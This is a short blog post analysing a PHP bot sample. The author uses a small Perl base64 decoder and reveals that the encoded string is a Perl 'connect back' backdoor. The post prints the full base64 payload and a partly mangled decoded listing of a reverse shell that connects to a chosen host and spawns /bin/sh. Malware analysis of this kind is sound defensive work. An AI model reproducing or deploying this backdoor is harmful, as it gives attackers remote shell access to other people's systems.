Irregular Expressions

Apr 28 2013   2:59AM GMT

PHP Bot Decoding – Part 1

Dan O'Connor Dan O'Connor Profile: Dan O'Connor

The good news is we can handle these samples very easily. The first base64 looks like it will take a bit of work but the second one we can decode right now.

I just happen to have a perl script I wrote to do just the thing.

use Compress::Zlib;

use MIME::Base64;

$new = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KcHJpbnQgIkRhdGEgQ2hhMHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQppZiAoISRBUkdWWzBdKSB7DQogIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogIGV4aXQoMSk7DQp9DQpwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KJGhvc3QgPSAkQVJHVlswXTsNCiRwb3J0ID0gODA7DQppZiAoJEFSR1ZbMV0pIHsNCiAgJHBvcnQgPSAkQVJHVlsxXTsNCn0NCnByaW50ICJbKl0gQ29ubmVjdGluZy4uLlxuIjsNCiRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3AnKSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0Kc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCm15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KaWYgKCFjb25uZWN0KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogIGRpZSgiVW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KfQ0KcHJpbnQgIlsqXSBTcGF3bmluZyBTaGVsbFxuIjsNCmlmICghZm9yayggKSkgew0KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOw0KICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgb3BlbihTVERFUlIsIj4mU0VSVkVSIik7DQogIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow0KICBleGl0KDApOw0KfQ0KcHJpbnQgIlsqXSBEYXRhY2hlZFxuXG4iOw==";

$test = MIME::Base64::decode $new;
print "$test";

It’s not complex but it does the work well and you can use > to redirect to a file if the base64 turns out to be a binary. In this case we don’t need to worry, it’s another perl script.

use Socket;
print "Data Cha0s Connect Back Backdoor\n\n";
if (!$ARGV[0]) {
printf "Usage: $0 [Host] \n";
print "[*] Dumping Arguments\n";
$host = $ARGV[0];
$port = 80;
if ($ARGV[1]) {
$port = $ARGV[1];
print "[*] Connecting...\n";
$proto = getprotobyname('tcp') || die("Unknown Protocol\n");
socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("Socket Error\n");
my $target = inet_aton($host);
if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
die("Unable to Connect\n");
print "[*] Spawning Shell\n";
if (!fork( )) {
exec {'/bin/sh'} '-bash' . "" x 4;

I wanted to look up what that pack command was doing so I put it in to Google. It brings up a lot a hits with samples from perl courses showing how to make a client server application. I won’t be following this anymore, if you are wondering pack is used in perl to, well pack data.

I am going to need a couple days to check the rest of this out. Stay tuned.

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